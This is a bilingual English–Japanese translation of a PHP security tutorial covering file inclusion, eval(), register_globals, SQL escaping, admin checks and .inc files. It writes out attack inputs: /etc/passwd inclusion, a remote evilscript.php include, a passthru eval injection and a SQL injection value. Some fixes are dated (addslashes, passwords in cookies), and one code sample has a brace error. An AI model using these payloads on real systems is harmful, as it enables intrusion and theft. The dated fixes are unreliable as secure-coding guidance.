PHP Security Mistakes

原文:http://www.devshed.com/c/a/PHP/PHP-Security-Mistakes/

日本語訳:usj12262

The purpose of this document is to inform PHP programmers of common security mistakes that can be overlooked in PHP scripts. While many of the following concepts may appear to be common sense, they are unfortunately not always common practice. After applying the following practices to your coding, you will be able to eliminate the vast majority of security holes that plague many scripts. Many of these security holes have been found in widely-used open source and commercial PHP scripts in the past. The most important concept to learn from this article is that you should never trust the user to input exactly what is expected. The way most PHP scripts are compromised is by entering unexpected data to exploit security holes inadvertantly left in the script.

この文書は、PHPスクリプトによく見られるセキュリティー上の一般的なミスの事例を PHPプログラマーにお知らせするために書いたものです。 後述する考え方は誰もが知っていることですが、 不幸なことに誰もが実践できているわけではありません。 あなたのコードに後述の事例を適用すれば、多くのスクリプトにはびこる セキュリティーホールの大部分を消し去ることができます。 これらのセキュリティーホールの多くは、多くの人が利用している過去の オープンソースまたは商用のPHPスクリプトで見つかったものです。 この記事から学ぶべき一番大事な考え方は、あなたが期待するような入力をユーザーが 正しくやってくれると信じてはいけない、ということです。 PHPスクリプトの感染方法のほとんどは、スクリプトに残されたセキュリティーホールを 悪用して、予期しないデータを入力することによるものです。

Always keep the following principles in mind when designing your scripts:

スクリプトを作るときは、いつも次のような原則を念頭に置いてください。

1. Never include, require, or otherwise open a file with a filename based on user input, without thoroughly checking it first.

ユーザーの入力から決めた名前のファイルは、はじめにきちんとチェックしないうちは include, require, その他の方法で絶対に開かない。

Take the following example:

if(isset($page)) 
{ 
  include($page); 
} 

Since there is no validation being done on $page, a malicious user could hypothetically call your script like this (assuming register_globals is set to ON):

$pageに関してなんの検査もしていないので、悪意のあるユーザーが次のようにして スクリプトを呼ぶことが考えられます。(register_globalsがONの場合)

script.php?page=/etc/passwd

Therefore causing your script to include the servers /etc/passwd file. When a non PHP file is include()'d or require()'d, it's displayed as HTML/Text, not parsed as PHP code.

その結果として、スクリプトがサーバーの/etc/passwdというファイルを includeしてしまいます。 PHPではないファイルがinclude()またはrequire()されると、 そのファイルはHTMLまたはテキストとして表示され、 PHPのコードとしては展開されません。

On many PHP installations, the include() and require() functions can include remote files. If the malicious user were to call your script like this:

多くのPHPの設置環境では、include()やrequire()の関数は リモートファイルをincludeすることができます。 悪意のあるユーザーがもしも次のようにしてスクリプトを呼び出すとしたら:

script.php?page=http://mysite.com/evilscript.php

He would be able to have evilscript.php output any PHP code that he or she wanted your script to execute. Imagine if the user sent code to delete content from your database or even send sensitive information directly to the browser.

evilscript.phpを使って、あなたのスクリプトに実行させたい任意の PHPコードを、出力できてしまうでしょう。 想像してみてください。もしユーザーがあなたのデータベースからその内容を消去する コードを送信したとしたら。そうでなくても、慎重に取り扱わなければいけない情報を ブラウザに直接送信したとしたら。

Solution: validate the input. One method of validation would be to create a list of acceptable pages. If the input did not match any of those pages, an error could be displayed.

解決方法:入力を検査しましょう。 検査方法のひとつは、入力を許可するページの一覧をつくることです。 この一覧に該当しない入力の場合は、エラーを表示できます。

$pages = array('index.html', 'page2.html', 'page3.html'); 
if( in_array($page, $pages) ) 
{ 
    include($page); 
{ 
else 
{ 
   die("Nice Try."); 
} 

2. Be careful with eval()

eval()に注意。

Placing user-inputted values into the eval() function can be extremely dangerous. You essentially give the malicious user the ability to execute any command he or she wishes! You may envision the input coming from a drop-down menu of options you specify, but you user may decide to send input like this:

ユーザーが入力した値をeval()に渡すのは非常に危険です。 これは悪意のあるユーザーが任意のコマンドを 実行できるようにしてあげるのと同じことです。 あなたの決めた特定のオプションからなるドロップダウンメニューから入力が来ることを 想定しているかもしれません。しかしユーザーは次のような入力を送信するかもしれません:

script.php?input=;passthru("cat /etc/paswd");

By putting his own code in that statement, the user could cause your program to output your server's complete /etc/passwd file. この文に自身のコードを置くことにより、ユーザーはあなたのプログラムが あなたのサーバーの/etc/passwdファイルを出力できるようにしてしまう可能性があります。

Use eval() sparingly, and by all means, validate the input. It should only be used when absolutely necessary -- when there is dynamically generated PHP code. If you are using it to substitute template variables into a string or substitute user-inputted values, then you are using it for the wrong reason. Try sprintf() or a template system instead.

eval()は控えめに使うようにし、あらゆる手段を使って入力を検査しましょう。 これは絶対に必要な場合だけつかうべきです。 つまり動的に生成されたPHPコードがある場合です。 もしテンプレートになる変数を文字列に置換したり、ユーザーの入力を 置換したりするのに使っているなら、それは間違った使い方です。 sprintf()やtemplate systemをかわりに使ってみてください。

3. Be careful when using register_globals = ON

register_globals=ONにするときは注意。

This has been a major issue since this feature was invented. It was originally designed to make programming in PHP easier (and that it did), but misuse of it often led to security holes. As of PHP 4.2.0, register_globals is set to OFF by default. It is recommended that you use the superglobals to deal with input ($_GET, $_POST, $_COOKIE, $_SESSION, etc).

この機能ができるまでは、これが一番重要な問題でした。 もともとはPHPで簡単にプログラミングできるように作られたもので、 実際役に立ったのですが、間違った使い方をするとしばしば セキュリティーホールにつながることがありました。 PHP4.2.0の場合、register_globalsは初期設定でOFFになってます。 入力を扱う場合はsuperglobals変数($_GET, $_POST, $_COOKIE, $_SESSIONなど)を 使うことをオススメします。

For example, let us say that you had a variable that specified what page to include:

例えば、includeするページを指定する変数があるとしましょう:

include($page); 

but you intended $page to be defined in a config file or somewhere else in the script, and not to come as user input. In one instance you forgot to pre-define $page. If register_globals is set to ON, the malicious user can take over and define $page for you, by calling your script like this:

しかしあなたは、$pageは設定ファイルやスクリプト内の別の場所で定義され、 ユーザーの入力からはとってこないと想定していました。 あるときたまたまあなたは$pageを事前に定義するのを忘れました。 もしregister_globalsがONなら、悪意のあるユーザーが作業を引き継ぎ、 次のようにスクリプトを呼び出して、 あなたのために$pageを定義してしまう可能性があります。

script.php?page=http://www.example.com/evilscript.php

I recommend you develop with register_globals set to OFF, and use the superglobals when accessing user input. In addition, you should always develop with full error reporting, which can be specified like this (at the top of your script): register_globalsをOFFにして開発し、ユーザーの入力にアクセスするときは superglobalsを使うことをオススメします。さらに、スクリプトオ先頭で 次のように指定して、つねにすべてのエラーを報告するようにして開発すべきです。

error_reporting(E_ALL); 

This way, you will receive a notice for every variable you try to call that was not previously defined. Yes, PHP does not require you to define variables so there may be notices that you can ignore, but this will help you to catch undefined variables that you did expect to come from input or other sources. In the previous example, when $page was referenced in the include() statement, PHP would issue a notice that $page was not defined.

こうすれば、定義されていないすべての変数で、 それを呼ぼうとしたときに通知を受け取れます。 たしかに、PHPは変数を定義する必要がないので無視できる通知があるかもしれません。 しかしそれは入力やほかのソースから来ると想定した変数が 未定義なのを知るのに役立ちます。 前述の例では、$pageがinclude()文で参照されていた場合、 PHPは$pageが定義されていないという通知を発行します。

Whether or not you want to use register_globals is up to you, but make sure you are aware of the advantages and disadvantages of it and how to remedy the possible security holes.

register_globalsを使うかどうかはあなた次第です。 しかしその利点・欠点をわかっていることと、 起こりうるセキュリティーホールの直し方は確認しておいてください。

4. Never run unescaped queries

エスケープされていないクエリを絶対に実行しない

PHP has a feature, enabled by default, that automatically escapes (adds a backslash in front of) certain characters that come in from a GET, POST, or COOKIE. The single quote (') is one example of a character that is escaped automatically. This is done so that if you include input variables in your SQL queries, it will not treat single quotes as part of the query. Say your user entered $name from a form and you performed this query:

PHPにはGET,POST,COOKIEにふくまれる特定の文字を自動的に エスケープ(直前にバックスラッシュをおく)する機能があり、標準で有効になっています。 自動的にエスケープする文字としては、例えば単引用符(')があります。 これはSQLクエリに入力変数がふくまれる場合に、単引用符を クエリの一部として扱わないようにするために行われます。 あなたのユーザーが$nameをフォームから入力したとしましょう。 そしてあなたは次のようなクエリを実行したとします。

UPDATE users SET Name='$name' WHERE ID=1;

Normally, if they had entered $name with single quotes in them, they would be escaped, so MySQL would see this:

普通の設定では、入力した$nameに単引用符を含めた場合は、それらはエスケープされます。 ですからMySQLには次のように見えているはずです。

UPDATE users SET Name='Joe\'s' WHERE ID=1

so that the single quote entered into "Joe's" would not interfere with the query syntax.

これは"Joe's"に含まれている単引用符がクエリの文法と干渉しないためです。

In some situations, you may use stripslashes() on an input variable. If you put the variable into a query, make sure to use addslashes() or mysql_escape_string() to escape the single quotes before your run the query. Imagine if an unslashed query went in, and a malicious user had entered part of a query as their name!

状況によっては、入力変数にstripslashes()をほどこすのもいいでしょう。 クエリに変数を代入するときは、クエリを実行する前にaddslashes()や mysql_escape_string()を使って単引用符をエスケープするようにしましょう。 想像してみてください。スラッシュを施されていないクエリが送信され、 悪意のあるユーザーがクエリの一部に彼らの名前を入力していたとしたら!

UPDATE users SET Name='Joe',Admin='1' WHERE ID=1

On the input form, the user would have entered: 入力フォームでは、ユーザーは自分の名前を次のように入力していたはずです。

Joe',Admin='1

As their name, and since the single quotes were not escaped, he or she would be able to actually end the name definition, place in a comma, and set another variable called Admin!

単引用符はエスケープされていないので、彼/彼女は実際には名前の定義を終えて、 カンマをはさみ、Adminという別の変数を設定できてしまっています!

The final query with input in blue would look like this:

青色入力の最後のクエリは次のように見えるはずです:

UPDATE users SET Name='Joe',Admin='1' WHERE ID=1

In some configurations, magic_quotes_gpc (the feature that automatically adds slashes to all input) is actually set to OFF. You can use the function get_magic_quotes_gpc() to see if it's on or not (it returns true or false). If it returns false, simply use addslashes() to add slashes to all of the input (it is easiest if you use $_POST, $_GET, and $_COOKIE or $HTTP_POST_VARS, $HTTP_GET_VARS, and $HTTP_COOKIE_VARS, instead of globals because you could step through those arrays using a foreach() loop and add slashes to each one).

設定によっては、magic_quotes_gpc(すべての入力に自動的にスラッシュを付け加える機能) がOFFのことがあります。 ONかどうか知るにはget_magic_quotes_gpc()を使います(trueかfalseを返します)。 falseを返したときは、addslashes()ですべての入力にスラッシュをつけ加えるだけです (これはグローバル変数のかわりに$_POST, $_GET, $_COOKIEまたは $HTTP_POST_VARS, $HTTP_GET_VARS, $HTTP_COOKIE_VARSを使う場合の 一番単純な方法です。なぜならforeach()ループを使ってそれらの配列を順番に処理し、 それぞれにスラッシュをつけ加えることができるからです)。

5. For protected areas, use sessions or validate the login every time.

保護された領域には、セッションを使うかログインごとに認証しましょう。

There are some cases where programmers will only use some sort of login.php script to first validate their username and password (entered through a form), test if they're an administrative or valid user, and actually set a variable through a cookie, or even hide it as a hidden variable. Then in the code, they check to see if they have access like this:

プログラマーがlogin.phpのような類のスクリプトしか使わずに、 (フォームから入力された)ユーザー名やパスワードを初めに認証し、 管理者権限持ちかや正しいユーザーであるかをテストし、 実際にクッキーから変数を設定したり隠蔽値にする場合があります。 それからコードの中で、次のようにアクセス権の有無をチェックします:

if($admin) 
{ 
   // let them in 
} 
else 
{ 
   // kick them out 
} 

The above a code makes the fatal assumption that the $admin variable can only come from a cookie or input form that the malicious user has no control over. However, that is simply not the case. With register_globals enabled, injecting designed input into the $admin variable is as easy as calling the script like so:

上記のコードでは、$admin変数はクッキーや入力フォームからしか入力されなくて、 それらは悪意のあるユーザーが操作できないという致命的な仮定をしています。 しかしながら、それはこの場合には単純に当てはまりません。 register_globalsが有効な場合、$admin変数に意図的に作られた入力を入れるのは 、次のようなスクリプトの呼び出しと同じぐらい簡単です。:

script.php?admin=1

Furthermore, even if you use the superglobals $_COOKIE or $_POST, a malicious user can easily forge a cookie or create his own HTML form to post any information to your script.

なお、たとえスーパーグローバル変数である$_COOKIEや$_POSTを使っていても、 悪意のあるユーザーは簡単にクッキーを偽造したりHTMLフォームを自作して あなたのスクリプトに任意の情報をポストできます。

There are two good solutions to this problem. One is on the same track as setting an $admin variable, but this time set $admin as a session variable. In this case, it is stored on the server and is much less likely to be forged. On subsequent calls to the same script, your user's previous session information will be available on the server, and you will be able to verify if the user is an administrator like so:

この問題にはよい解決方法が2つあります。 一つ目の方法は、$admin変数を設定するのは同じですが、 今度は$adminをセッション変数として設定します。 この場合、変数はサーバーに格納され、ずっと偽造されにくくなります。 同じスクリプトに続いて起こる呼び出しにおいて、 あなたのユーザーの以前のセッション情報はサーバー上で取得でき、 そのユーザーが管理者かどうかなどを確認することができます。

if( $_SESSION['admin'] )

The second solution is to only store their username and password in a cookie, and with every call to the script, validate the username and password and verify if the user is an administrator. You could have two functions -- one called validate_login($username,$password) that verified the user's login information, and one called is_admin($username) that queried the database to see if that username is an administrator. The code would be placed at the top of any protected script:

2つ目の解決方法は、ユーザー名とパスワードをクッキーに入れるだけにして、 スクリプトの呼び出しごとにユーザー名とパスワードを認証し、 そのユーザーが管理者であることを確認することです。 あなたは2つの関数を使えるはずです。--一つはvalidate_login($username,$password) と呼ばれ、ユーザーのログイン情報を確認するものです。もう一つはis_admin($username) と呼ばれ、ユーザー名が管理者のものかをデータベースに照会するものです。 このコードは保護されたスクリプトの先頭に置きます。

if( !validate_login( $_COOKIE['username'], $_COOKIE['password'] ) ) 
{ 
  echo "Sorry, invalid login"; 
  exit; 
} 
// the login is ok if we made it down here 
if( !is_admin( $_COOKIE['username'] ) ) 
{ 
   echo "Sorry, you do not have access to this section"; 
   exit; 
} 

Personally I recommend using sessions, as the latter solution is not scalable.

私個人としては、セッションを使うことをオススメします。 後者の解決方法は調整がきかないので。

6. If you don't want the file contents to be seen, give the file a .php extension.

ファイルの内容を見られたくない場合は、ファイルに.phpの拡張子をつけましょう。

It was common practice for awhile to name include files or library files with a .inc extension. Here's the problem: if a malicious user simply enter the .inc file into his browser, it will be displayed as plain text, not parsed as PHP. Even if the browser did not like the file type, an option to download it would most likely be given. Imagine if this file had your database login and password, or even more sensitive information.

インクルードファイルやライブラリファイルには.incの拡張子をつけることが しばらくの間一般的な習慣として行われていました。 ここで問題があります:もし悪意のあるユーザーが単純にブラウザで.incファイルを 入力したら、それはただのテキストとして表示され、PHPとして解釈されません。 たとえブラウザがそのファイル形式を認識できなくても、 おそらくダウンロードするオプションが与えられるでしょう。 想像してみてください。このファイルがあなたのログインやパスワードのデータベース だったり、それよりも重要な情報であったとしたら。

This goes for any other extension other than .php (and a few others), so even a .conf or a .cfg file would not be safe.

これは.php(それと、ほかのいくつか)以外の任意の拡張子でも言えることで、 .confや.cfgファイルも安全ではありません。

The solution is to put a .php extension on the end of it. Since your include files or config files usually just define variables and/or functions and not really output anything, if your user were to load this, for example, into their browser:

解決方法は、それらの終端に.phpの拡張子を付け加えることです。 includeファイルや設定ファイルは普通、変数や関数を定義するだけで、 実際に何かを出力することはありません。 ですから、たとえば、ユーザーがブラウザで次のように読み出そうとしても:

http://yoursite.com/lib.inc.php

they would most likely be shown nothing at all, unless of your lib.inc.php outputs something. Either way, the file would be parsed as PHP instead of just displaying your code.

lib.inc.phpがなにかを出力しない限り、なにも表示されません。 いずれにしても、ファイルはあなたのコードを単に表示するかわりに、 PHPとして解釈されます。

There are also some reports of people adding Apache directives that will deny access to .inc files; however, I do not recommend this because of the lack of portability. If you rely on .inc files and that Apache directive to deny access to them and one day you move your scripts to another server and forget to place the Apache directive in, you are wide open.

Apacheのディレクティブを追加して.incファイルへのアクセスを遮断する報告をする人も います。しかしながら、この方法は移植性がないのでオススメしません。 もし.incファイルとApacheディレクティブに頼ってアクセスを遮断しても、 ある日あなたのスクリプトを別のサーバーに移し、Apacheディレクティブを入れ忘れたら、 完全に公開状態になってしまいます。